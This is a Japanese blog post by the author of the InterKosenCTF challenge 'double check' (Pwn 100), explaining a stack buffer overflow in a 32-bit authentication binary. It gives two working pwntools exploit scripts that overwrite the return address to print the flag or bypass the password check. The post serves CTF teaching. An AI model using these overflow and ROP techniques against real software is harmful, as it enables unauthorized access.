CTFするぞ

CTF以外のことも書くよ

【Pwn 100】double check - InterKosenCTF 作問writeup

はじめに

この記事ではInterKosenCTFで出題した問題の解説を書きます。 他の問題のwriteupについては下記リンクから参照してください。

ptr-yudai.hatenablog.com

概要

Description: nc pwn.kosenctf.com 9100
File: double_check.tar.gz

32-bitのELFとそのソースコードが渡されます。 他のpwnもそうですが、ソースコードから脆弱性を探してexploitコードを作る技術を試したかったのでソースコード一式を付けています。 さて、問題のバイナリはPIEやSSPのかかっていないシンプルな構成になっています。

$ checksec auth
[*] '/home/ptr/Downloads/double_check/auth'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

接続するとパスワードを聞かれるのですが、パスワードは別のファイルから読み取ってそれと比較されます。 ここで入力するパスワードにバッファオーバーフロー脆弱性が存在します。 したがって方針としては、BOFを使ってパスワードを出力させるかフラグを出力させるかです。 作問時は後者をやってほしかったのでmain関数の終了前にパスワードをNULL文字で消去するステップを入れました。 しかし、これを利用して認証を突破したチームもあって感心しました。(解法2を参照)

解法1

フラグを出力するにはauth.cの67行目にあるreadfile("flag", password)からprintf("%s\n", password);の流れを実行すればよいです。 しかし、readfileを呼び出す前にsw(1)を読んで読み込みの準備(ロック解除)をしなければいけません。 したがって、BOFでリターンアドレスを書き換えてsw(1)とreadfileの直前の2つを呼び出せばよさそうです。 BOFで2つのアドレスを順番に呼び出す際はスタックの順序に注意しなくてはなりません。 今回は関数1つと引数を必要としないアドレス1つにジャンプすれば良いので次のような順番にアドレスを置けば実行できます。

| addr1 | addr2 | arg1.1 |

ちなみに3つ以上の関数が必要なときなどは次のように引数個分popするgadgetを挟んでやれば可能です。

| addr1 | pop_ret | arg1.1 | arg1.2 | ... | addr2 | pop_ret | arg2.1 | arg2.2 | ...

これを書けば攻撃コードは次のようになります。

from pwn import *

elf = ELF('./auth')

sock = remote('pwn.kosenctf.com', 9100)

payload = ''
payload += 'A' * 44
payload += p32(elf.symbols['sw'])
payload += p32(0x0804883f)
payload += p32(0x00000001)

sock.recvuntil('Password: ')
sock.sendline(payload)
sock.interactive()

pwnは(私も含め)苦手な人が多いので挑戦してくれるか不安でしたが、17チームが解いてくれました。

解法2

運営中にpwnサーバーのパケットをチェックしていたら見つけた解法で、面白かったので紹介します。(もしかしたらこっちで攻略したチームの方が多いのかもしれませんが。)

リターンアドレスへジャンプする前に一度passwordが\x00で埋められるので、BOFによりパスワード入力直前にジャンプすればパスワードが判明している状態になります。 パスワードとしてNULLを31文字与えれば普通に認証をクリアできます。 攻撃コードは次のようになります。

from pwn import *

elf = ELF('./auth')

sock = remote('pwn.kosenctf.com', 9100)

payload = ''
payload += 'A' * 44
payload += p32(0x80487c5)

sock.recvuntil('Password: ')
sock.sendline(payload)

password = "\x00" * 31
sock.recvuntil('Password: ')
sock.sendline(password)
sock.interactive()

あとがき

最近のCTFはどこもpwnが難しいので、易しいpwnを用意しました。 たくさんのチームが解いてくれたので良かったです。